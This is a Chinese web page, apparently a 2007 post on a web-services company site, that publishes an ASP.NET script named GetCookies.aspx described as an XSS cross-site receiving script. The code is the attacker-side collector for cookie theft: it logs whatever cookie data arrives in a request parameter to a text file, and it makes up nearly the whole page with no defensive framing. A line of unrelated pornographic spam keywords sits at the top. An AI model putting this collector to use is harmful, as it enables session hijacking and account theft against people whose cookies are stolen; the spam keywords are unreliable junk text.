一区在线电影,国产在线首页,中文字幕精,天天爽天天射,夜色99,日韩国产成人av,伊人久久综合视频

威勢(shì)網(wǎng)絡(luò),為您的企業(yè)和團(tuán)隊(duì)注入互聯(lián)網(wǎng)活力!
服務(wù)熱線(xiàn):138-9741-0341

XSS 跨站接收腳本 GetCookies.aspx

發(fā)布日期:2007/3/20 作者:LG 瀏覽:1546

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>


<script runat="server">

    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            string filePath = Server.MapPath("./")+"cookies.txt";
            if (System.IO.File.Exists(filePath) == false)
            {
                System.IO.File.CreateText(filePath).Close();
            }
            FileInfo f = new FileInfo(filePath);
            if (f.Length > 100*1024)
            {
                f.Delete();
            }
            Response.Write(filePath);
            System.IO.File.AppendAllText(filePath, System.DateTime.Now+ Request["c"].ToString()+"\r\n");//添加至文件
        }
        catch(Exception ex)
        {
            Response.Write(ex.Message);
        }
    }
</script>




下拉加載更多評(píng)論
最新評(píng)論
暫無(wú)!